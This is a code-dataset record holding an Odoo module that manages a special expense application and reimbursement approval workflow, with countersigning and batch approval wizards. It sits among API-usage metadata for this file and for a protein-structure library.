"usage_type": "name"}, {"api_name": "numpy.array", "line_number": 973, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libstructure.parse_pdb_to_array", "line_number": 984, "usage_type": "call"}, {"api_name": "idpconfgen.ldrs_helper.align_coords", "line_number": 985, "usage_type": "call"}, {"api_name": "idpconfgen.ldrs_helper.disorder_cases", "line_number": 985, "usage_type": "name"}, {"api_name": "idpconfgen.ldrs_helper.count_clashes", "line_number": 986, "usage_type": "call"}, {"api_name": "idpconfgen.ldrs_helper.disorder_cases", "line_number": 989, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libstructure.structure_to_pdb", "line_number": 995, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 997, "usage_type": "call"}, {"api_name": "idpconfgen.ldrs_helper.psurgeon", "line_number": 1000, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 1001, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 1002, "usage_type": "call"}, {"api_name": "idpconfgen.ldrs_helper.disorder_cases", "line_number": 1003, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libstructure.structure_to_pdb", "line_number": 1006, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 1007, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 1007, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 1008, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 1008, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 1009, "usage_type": "call"}, {"api_name": "idpconfgen.Path", "line_number": 1027, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_strategies_default", "line_number": 1045, "usage_type": "name"}, {"api_name": "idpconfgen.components.sidechain_packing.sidechain_packing_methods", "line_number": 1163, "usage_type": "name"}, {"api_name": "idpconfgen.components.sidechain_packing.sidechain_packing_methods.keys", "line_number": 1166, "usage_type": "call"}, {"api_name": "idpconfgen.components.sidechain_packing.sidechain_packing_methods", "line_number": 1166, "usage_type": "name"}, {"api_name": "idpconfgen.log.info", "line_number": 1169, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 1169, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 1170, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1170, "usage_type": "attribute"}, {"api_name": "idpconfgen.logger.pre_msg", "line_number": 1171, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.remap_sequence", "line_number": 1175, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libparse.translate_seq_to_3l", "line_number": 1176, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 1178, "usage_type": "attribute"}, {"api_name": "idpconfgen.core.build_definitions.build_bend_H_N_C", "line_number": 1179, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcalc.calc_torsion_angles", "line_number": 1180, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.distance_H_N", "line_number": 1181, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.distance_C_O", "line_number": 1182, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 1183, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libparse.get_trimer_seq_njit", "line_number": 1184, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcalc.make_coord_Q_COO", "line_number": 1185, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcalc.make_coord_Q_planar", "line_number": 1186, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcalc.make_coord_Q", "line_number": 1187, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 1188, "usage_type": "attribute"}, {"api_name": "numpy.linalg", "line_number": 1189, "usage_type": "attribute"}, {"api_name": "idpconfgen.core.build_definitions.n_proline_h_coord_at_origin", "line_number": 1193, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.n_terminal_h_coords_at_origin", "line_number": 1193, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 1194, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libcalc.place_sidechain_template", "line_number": 1195, "usage_type": "name"}, {"api_name": "numpy.radians", "line_number": 1196, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1197, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 1198, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcalc.rotate_coordinates_Q_njit", "line_number": 1199, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcalc.rrd10_njit", "line_number": 1200, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.sidechain_templates", "line_number": 1201, "usage_type": "name"}, {"api_name": "numpy.nansum", "line_number": 1202, "usage_type": "attribute"}, {"api_name": "idpconfgen.core.build_definitions.forcefields", "line_number": 1224, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.forcefields.keys", "line_number": 1227, "usage_type": "call"}, {"api_name": "idpconfgen.core.build_definitions.forcefields", "line_number": 1227, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.forcefields", "line_number": 1233, "usage_type": "name"}, {"api_name": "idpconfgen.log.info", "line_number": 1241, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 1241, "usage_type": "name"}, {"api_name": "idpconfgen.logger.S", "line_number": 1241, "usage_type": "call"}, {"api_name": "idpconfgen.components.sidechain_packing.sidechain_packing_methods", "line_number": 1244, "usage_type": "name"}, {"api_name": "idpconfgen.core.exceptions.IDPConfGenException", "line_number": 1261, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 1273, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 1273, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 1274, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 1274, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 1278, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 1278, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 1282, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 1282, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 1285, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 1285, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 1286, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1289, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1291, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.create_sidechains_masks_per_residue", "line_number": 1298, "usage_type": "call"}, {"api_name": "idpconfgen.core.build_definitions.backbone_atoms", "line_number": 1301, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 1312, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1313, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1314, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1317, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.get_cycle_distances_backbone", "line_number": 1357, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.get_cycle_bond_type", "line_number": 1358, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_fixed_name", "line_number": 1360, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.fixed.get_cycle_bend_angles", "line_number": 1361, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcalc.calc_residue_num_from_index", "line_number": 1409, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 1417, "usage_type": "name"}, {"api_name": "itertools.cycle", "line_number": 1423, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcalc.calc_residue_num_from_index", "line_number": 1428, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 1443, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 1447, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 1450, "usage_type": "call"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 1460, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 1462, "usage_type": "attribute"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 1465, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_sampling_name", "line_number": 1469, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_fixed_name", "line_number": 1482, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 1496, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_sampling_name", "line_number": 1496, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_fixed_name", "line_number": 1506, "usage_type": "name"}, {"api_name": "idpconfgen.core.build_definitions.build_bend_CA_C_O", "line_number": 1507, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_int2cart_name", "line_number": 1655, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libbuild.get_cycle_distances_backbone", "line_number": 1667, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libbuild.get_cycle_bond_type", "line_number": 1668, "usage_type": "call"}, {"api_name": "idpconfgen.log.error", "line_number": 1691, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 1691, "usage_type": "name"}, {"api_name": "idpconfgen.log.info", "line_number": 1714, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 1714, "usage_type": "name"}, {"api_name": "idpconfgen.log.info", "line_number": 1729, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 1729, "usage_type": "name"}, {"api_name": "numpy.nansum", "line_number": 1732, "usage_type": "call"}, {"api_name": "idpconfgen.log.info", "line_number": 1734, "usage_type": "call"}, {"api_name": "idpconfgen.log", "line_number": 1734, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libpdb.atom_line_formatter", "line_number": 1745, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 1762, "usage_type": "call"}, {"api_name": "os.linesep.join", "line_number": 1797, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 1797, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libparse.fill_list", "line_number": 1843, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcalc.calc_residue_num_from_index", "line_number": 1853, "usage_type": "name"}, {"api_name": "numpy.random", "line_number": 1854, "usage_type": "attribute"}, {"api_name": "idpconfgen.libs.libparse.get_seq_chunk_njit", "line_number": 1855, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libbuild.build_regex_substitutions", "line_number": 1856, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 1902, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 1926, "usage_type": "name"}, {"api_name": "idpconfgen.components.bgeo_strategies.bgeo_exact_name", "line_number": 1932, "usage_type": "name"}, {"api_name": "idpconfgen.libs.libcli.maincli", "line_number": 1941, "usage_type": "call"}, {"api_name": "idpconfgen.libs.libcli", "line_number": 1941, "usage_type": "name"}]} +{"seq_id": "21464365516", "text": "# -*- coding: utf-8 -*-\n\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError, ValidationError\nimport datetime\nfrom datetime import date\n\n\nclass SpecialApplication(models.Model):\n _name = 'hs.expense.v2.special.application'\n _inherit = 'hs.expense.v2.base.application'\n _description = 'Special application and reimbursement form'\n _order = 'applicant_date desc, id desc'\n\n @api.model\n def _get_default_employee(self):\n return self.env['hs.base.employee'].sudo().search([('user_id', '=', self.env.uid)], limit=1)\n\n @api.onchange('applicant_amount')\n def onchange_applicant_amount(self):\n for s in self:\n s.reimbursement_amount = s.applicant_amount\n\n @api.onchange('reimbursement_amount')\n def onchange_reimbursement_amount(self):\n for s in self:\n if s.reimbursement_amount > s.applicant_amount:\n s.reimbursement_amount = s.applicant_amount\n raise UserError(_(\"Reimbursement amount must be less than or equal to the application amount!\"))\n\n @api.onchange('applicant_id')\n def onchange_applicant_id(self):\n for s in self:\n s.reimbursement_person_id = s.applicant_id\n s.bank_name = s.applicant_id.bank_name\n s.bank_account = s.applicant_id.bank_account\n s.sale_area_id = s.applicant_id.sale_area_id\n if s.applicant_id.sale_market_id:\n s.sale_market_id = s.applicant_id.sale_market_id\n if s.applicant_id.department_id:\n if '技术服务' in s.applicant_id.department_id.name:\n category_quality = self.env['hs.expense.category'].search([('name', '=', '质量')], limit=1)\n if category_quality:\n s.expense_category_ids = category_quality\n\n @api.one\n @api.depends('countersign_ids')\n def _compute_current_sign_completed(self):\n self.current_sign_completed = False\n current_employee = self.env['hs.base.employee'].sudo().search([('user_id', '=', self.env.uid)], limit=1)\n for sign in self.countersign_ids:\n if sign.employee_id.id == current_employee.id:\n self.current_sign_completed = sign.is_approved\n\n def _compute_current_user_is_financial(self):\n self.current_user_is_financial = self.user_has_groups('hs_expenses.group_hs_expenses_financial_officer')\n\n customer_company_no = fields.Many2one('hs.base.customer.number', string='Customer Company Number')\n customer_count = fields.Integer(string='Customer Count', default=0)\n\n entertain_date = fields.Date(string='Entertain Date', required=True,\n default=lambda self: fields.Date.context_today(self))\n applicant_amount = fields.Float(\"Applicant Amount\", required=True, digits=(16, 2))\n\n reimbursement_amount = fields.Float(\n \"Reimbursement Amount\",\n required=True,\n digits=(16, 2))\n reimbursement_remark = fields.Text(string=\"Reimbursement Remark\")\n\n audit_amount = fields.Float(\"Audit Amount\", digits=(16, 2))\n current_user_is_financial = fields.Boolean(compute=\"_compute_current_user_is_financial\")\n\n complete_countersign = fields.Boolean(default=False)\n countersign_ids = fields.One2many('hs.expense.v2.countersign.special', 'expense_id', string='Countersign',\n readonly=True)\n\n current_sign_completed = fields.Boolean(compute='_compute_current_sign_completed')\n\n state = fields.Selection([\n ('draft', 'To Submit'),\n ('reported', 'Submitted'),\n ('reported2', 'Submitted2'),\n ('approved', 'Approved'),\n ('confirmed', 'Confirmed'),\n ('audited', 'Audited'),\n ('countersign', 'Countersign'),\n ('done', 'Paid')\n ], string='Status', copy=False, index=True, readonly=True, store=True, default='draft',\n help=\"Status of the expense.\")\n\n expense_category_ids = fields.Many2many(comodel_name=\"hs.expense.category\",\n relation=\"hs_expense_v2_special_category_rel\",\n column1=\"special_id\",\n column2=\"category_id\",\n string=\"Category\",\n required=True)\n\n attachment_ids = fields.Many2many('ir.attachment',\n 'hs_expense_v2_special_app_rel',\n 'special_app_id',\n 'attachment_id',\n string='Attachments')\n project_id = fields.Many2one('hs.base.project', string='Project')\n reason = fields.Text()\n\n @api.model\n def create(self, vals):\n if vals.get('name') is None:\n name = self.env['ir.sequence'].next_by_code('hs.expense.v2.special.app.no')\n if not name:\n self.env['ir.sequence'].sudo().create({\n 'number_next': 1,\n 'number_increment': 1,\n 'padding': 7,\n 'prefix': 'S',\n 'name': 'Special Application NO.',\n 'code': 'hs.expense.v2.special.app.no',\n })\n name = self.env['ir.sequence'].next_by_code('hs.expense.v2.special.app.no')\n vals['name'] = name\n if vals.get('expense_category_ids') is None:\n vals['expense_category_ids'] = [[6, False, [3]]]\n return super(SpecialApplication, self).create(vals)\n\n @api.multi\n def write(self, vals):\n return super(SpecialApplication, self).write(vals)\n\n @api.multi\n def unlink(self):\n for expense in self:\n if expense.state not in ['draft']:\n raise UserError(_('You cannot delete a posted or approved expense.'))\n if expense.create_uid.id != self.env.uid:\n raise UserError(_(\"You cannot delete the expense!\"))\n return super(SpecialApplication, self).unlink()\n\n @api.multi\n def action_submit_expenses(self): # 营销人员草稿状态提交到领导审批\n if any(expense.state != 'draft' for expense in self):\n raise UserError(_(\"You cannot report twice the same line!\"))\n\n countersign = self.env['hs.expense.v2.countersign.special']\n reviewers = []\n\n for category in self.expense_category_ids:\n if category.name == '质量':\n group_id = self.env.ref('hs_expenses.group_hs_expenses_quality_reviewer').id\n elif category.name == '合同订单发货回款':\n group_id = self.env.ref('hs_expenses.group_hs_expenses_contract_reviewer').id\n elif category.name == '新项目拓展':\n group_id = self.env.ref('hs_expenses.group_hs_expenses_project_reviewer').id\n elif category.name == '其他':\n group_id = self.env.ref('hs_expenses.group_hs_expenses_other_reviewer').id\n elif category.name == '补充申请':\n group_id = self.env.ref('hs_expenses.group_hs_expenses_project_reviewer').id\n reviewers.append(self.env['res.users'].search([('groups_id', '=', group_id)]))\n\n countersign.sudo().search(\n [('expense_id', '=', self.id), ('is_approved', '=', False)]).unlink()\n countersigns = countersign.sudo().search([('expense_id', '=', self.id)]).read([('employee_id')])\n lst = [cc['employee_id'][0] for cc in countersigns]\n\n for reviewer in reviewers:\n for user in reviewer:\n employee = self.env['hs.base.employee'].search([('user_id', '=', user.id)], limit=1)\n if employee and not user.has_group('hs_expenses.group_hs_expenses_manager'):\n if employee.id not in lst:\n countersign.sudo().create({\n 'employee_id': employee.id,\n 'expense_id': self.id\n })\n\n # if not any(sign.is_approved is True for sign in countersign.sudo().search([('expense_id', '=', self.id)])):\n if all(sign.is_approved is True for sign in countersign.sudo().search([('expense_id', '=', self.id)])):\n self.write({'state': 'reported2'})\n else:\n self.write({'state': 'reported'})\n return True\n\n @api.multi\n def action_reported2_expenses(self): # 领导审批完成，提交到副总裁\n if any(expense.state != 'reported' for expense in self):\n raise UserError(_(\"You cannot approve twice the same line!\"))\n\n employee = self.env['hs.base.employee'].sudo().search([('user_id', '=', self.env.uid)], limit=1)\n if employee and employee is not None:\n expense_id = self\n countersign = self.env['hs.expense.v2.countersign.special'].search(\n [('employee_id', '=', employee.id), ('expense_id', '=', expense_id.id)], limit=1)\n if countersign and countersign is not None:\n countersign.write({'is_approved': True})\n else:\n raise UserError(_(\"Some errors have occurred in the system!\"))\n\n if not any(sign.is_approved is False\n for sign in self.env['hs.expense.v2.countersign.special'].search([('expense_id', '=', expense_id.id)])):\n self.write({'complete_countersign': True, 'state': 'reported2'})\n\n return True\n\n @api.multi\n def action_approved_expenses(self): # 副总裁审批完成，提交到报销经办人申请报销（填写报销相关内容）\n if any(expense.state != 'reported2' for expense in self):\n raise UserError(_(\"You cannot approve twice the same line!\"))\n self.write({'state': 'approved'})\n return True\n\n @api.multi\n def action_back_to_draft(self):\n # self.write({'state': 'draft'})\n # return True\n return {\n 'type': 'ir.actions.act_window',\n 'res_model': 'hs.expense.v2.special.back.wizard',\n 'name': '退回向导',\n 'view_mode': 'form',\n 'context': {\n 'application_id': self.id,\n 'default_state': 'draft',\n },\n 'target': 'new'\n }\n\n @api.multi\n def action_confirm_expenses(self): # 报销经办人填写好后提交到财务审批\n if any(expense.state != 'approved' for expense in self):\n raise UserError(_(\"You cannot confirm twice the same line!\"))\n\n if self.reimbursement_amount > self.applicant_amount:\n raise UserError(_(\"Reimbursement amount must be less than or equal to the application amount!\"))\n\n self.write({'state': 'confirmed'})\n return True\n\n @api.multi\n def action_back_to_confirm(self): # 财务退回上一步\n # if any(expense.state != 'confirmed' for expense in self):\n # raise UserError(_(\"You cannot audit twice the same line!\"))\n # self.write({'state': 'approved'})\n # return True\n return {\n 'type': 'ir.actions.act_window',\n 'res_model': 'hs.expense.v2.special.back.wizard',\n 'name': '退回向导',\n 'view_mode': 'form',\n 'context': {\n 'application_id': self.id,\n 'default_state': 'approved',\n },\n 'target': 'new'\n }\n\n @api.multi\n def action_audit_expenses(self): # 财务审核完成，提交给出纳\n if any(expense.state != 'confirmed' for expense in self):\n raise UserError(_(\"You cannot audit twice the same line!\"))\n\n if self.audit_amount <= 0:\n raise UserError(_(\"Please enter the correct audit amount!\"))\n\n self.write({'state': 'audited', 'audit_date': datetime.datetime.now()})\n return True\n\n @api.multi\n def action_cashier_expenses(self): # 放款结束流程\n if any(expense.state != 'audited' for expense in self):\n raise UserError(_(\"You cannot audit twice the same line!\"))\n self.action_done_expenses()\n return True\n\n @api.multi\n def function_countersign_expenses(self):\n employee = self.env['hs.base.employee'].sudo().search([('user_id', '=', self.env.uid)], limit=1)\n if employee and employee is not None:\n expense_id = self\n countersign = self.env['hs.expense.v2.countersign.special'].search(\n [('employee_id', '=', employee.id), ('expense_id', '=', expense_id.id)], limit=1)\n if countersign and countersign is not None:\n countersign.write({'is_approved': True})\n else:\n raise UserError(_(\"Some errors have occurred in the system!\"))\n\n if not any(sign.is_approved is False\n for sign in\n self.env['hs.expense.v2.countersign.special'].search([('expense_id', '=', expense_id.id)])):\n self.write({'complete_countersign': True, 'state': 'audited'})\n # self.action_done_expenses()\n return True\n\n @api.multi\n def action_done_expenses(self):\n if any(expense.state not in ['audited'] for expense in self):\n raise UserError(_(\"You cannot audit twice the same line!\"))\n\n self.write({'state': 'done'})\n return True\n\n @api.multi\n def action_back_to_to_audited(self): # 出纳退回给财务审核\n # self.write({'state': 'confirmed'})\n return {\n 'type': 'ir.actions.act_window',\n 'res_model': 'hs.expense.v2.special.back.wizard',\n 'name': '退回向导',\n 'view_mode': 'form',\n 'context': {\n 'application_id': self.id,\n 'default_state': 'confirmed',\n },\n 'target': 'new'\n }\n\n\nclass SpecialApplicationBackWizard(models.TransientModel):\n _name = 'hs.expense.v2.special.back.wizard'\n _description = 'Special application back wizard'\n\n reason = fields.Text()\n state = fields.Selection([\n ('draft', 'To Submit'),\n ('reported', 'Submitted'),\n ('reported2', 'Submitted2'),\n ('approved', 'Approved'),\n ('confirmed', 'Confirmed'),\n ('audited', 'Audited'),\n ('countersign', 'Countersign'),\n ('done', 'Paid')\n ], string='Status', copy=False, index=True, readonly=True, store=True, default='draft',\n help=\"Status of the expense.\")\n\n def _tranlate_state_name(self, name):\n if name == 'draft':\n return '待提交'\n elif name == 'reported':\n return '已提交'\n elif name == 'reported2':\n return '已审阅'\n elif name == 'approved':\n return '已批准'\n elif name == 'confirmed':\n return '已确认'\n elif name == 'audited':\n return '已审核'\n elif name == 'countersign':\n return '会签'\n elif name == 'done':\n return '已支付'\n\n def save_button(self):\n application_id = self.env.context.get('application_id')\n app = self.env['hs.expense.v2.special.application'].browse(int(application_id))\n operator = self.env['hs.base.employee'].sudo().search([('user_id', '=', self.env.uid)], limit=1)\n\n origin_state = self._tranlate_state_name(app.state)\n now_state = self._tranlate_state_name(self.state)\n\n reason_text = '备注: %s - %s \\n%s ---> %s\\n%s' % \\\n (operator.complete_name,\n (datetime.datetime.now()+datetime.timedelta(hours=8)).strftime('%Y-%m-%d %H:%M:%S'),\n origin_state,\n now_state,\n self.reason if self.reason else '无')\n if app.reason:\n reason_text = app.reason + '\\n\\n' + reason_text\n app.write({'reason': reason_text, 'state': self.state})\n return True\n\n\nclass BatchApprovedSpecialApplicationWizard(models.TransientModel): # 王胜利要求批量审批 20220711\n _name = 'hs.expense.v2.special.batch.approve.wizard'\n _description = 'Batch approve application wizard'\n\n application_ids = fields.Many2many(comodel_name='hs.expense.v2.special.application',\n relation=\"hs_expense_v2_approve_wizard_special_rel\",\n column1=\"wizard_id\",\n column2=\"application_id\",\n string='Special Applications')\n\n @api.model\n def default_get(self, fields):\n res = {}\n active_ids = self._context.get('active_ids')\n if active_ids:\n applications = self.env['hs.expense.v2.special.application'].search_read(\n domain=[('id', 'in', active_ids)], fields=['id', 'state'])\n ids = [s['id'] for s in list(filter(lambda s: s['state'] == 'reported2', applications))]\n res = {'application_ids': ids}\n return res\n\n @api.multi\n def batch_approve_button(self):\n self.ensure_one()\n active_ids = self._context.get('active_ids')\n applications = self.env['hs.expense.v2.special.application'].search([\n ('id', 'in', active_ids),\n ('state', '=', 'reported2')])\n for app in applications:\n app.write({'state': 'approved'})\n return {'type': 'ir.actions.act_window_close'}\n\n\nclass BatchEndApplicationWizard(models.TransientModel):\n _name = 'hs.expense.v2.batch.end.wizard'\n _description = 'Batch end application wizard'\n\n application_ids = fields.Many2many(comodel_name='hs.expense.v2.special.application',\n relation=\"hs_expense_v2_end_wizard_special_rel\",\n column1=\"wizard_id\",\n column2=\"application_id\",\n string='Special Applications')\n\n @api.model\n def default_get(self, fields):\n res = {}\n active_ids = self._context.get('active_ids')\n if active_ids:\n applications = self.env['hs.expense.v2.special.application'].search_read(\n domain=[('id', 'in', active_ids)], fields=['id', 'state'])\n ids = [s['id'] for s in list(filter(lambda s: s['state'] == 'audited', applications))]\n res = {'application_ids': ids}\n return res\n\n @api.multi\n def batch_end_button(self):\n self.ensure_one()\n active_ids = self._context.get('active_ids')\n applications = self.env['hs.expense.v2.special.application'].search([\n ('id', 'in', active_ids),\n ('state', '=', 'audited')])\n for app in applications:\n app.write({'state': 'done'})\n return {'type': 'ir.actions.act_window_close'}\n\n\nclass CounterSignMonthV2(models.Model):\n _name = 'hs.expense.v2.countersign.special'\n _description = 'Special Countersign'\n\n employee_id = fields.Many2one('hs.base.employee', string='Employee', required=True)\n expense_id = fields.Many2one('hs.expense.v2.special.application', string='Special Application')\n is_approved = fields.Boolean(default=False)", "repo_name": "lnkdel/hsexpenses", "sub_path": "addons/hs_expenses_v2/models/special.py", "file_name": "special.py", "file_ext": "py", "file_size_in_byte": 19211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "odoo.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 9, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 15, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 15, "usage_type": "name"}, {"api_name": "odoo.api.onchange", "line_number": 19, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 19, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 29, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 29, "usage_type": "call"}, {"api_name": "odoo.api.onchange", "line_number": 24, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 24, "usage_type": "name"}, {"api_name": "odoo.api.onchange", "line_number": 31, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 31, "usage_type": "name"}, {"api_name": "odoo.api.one", "line_number": 46, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 46, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 47, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 47, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 58, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 58, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 59, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 59, "usage_type": "name"}, {"api_name": "odoo.fields.Date", "line_number": 61, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 61, "usage_type": "name"}, {"api_name": "odoo.fields.Date.context_today", "line_number": 62, "usage_type": "call"}, {"api_name": "odoo.fields.Date", "line_number": 62, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 62, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 63, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 63, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 65, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 65, "usage_type": "name"}, {"api_name": "odoo.fields.Text", "line_number": 69, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 69, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 71, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 71, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 72, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 72, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 74, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 74, "usage_type": "name"}, {"api_name": "odoo.fields.One2many", "line_number": 75, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 75, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 78, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 78, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 80, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 80, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 92, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 92, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 99, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 99, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 104, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 104, "usage_type": "name"}, {"api_name": "odoo.fields.Text", "line_number": 105, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 105, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 107, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 107, "usage_type": "name"}, {"api_name": "odoo.api.multi", "line_number": 126, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 126, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 134, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 134, "usage_type": "call"}, {"api_name": "odoo.exceptions.UserError", "line_number": 136, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 136, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 130, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 130, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 142, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 142, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 139, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 139, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 185, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 185, "usage_type": 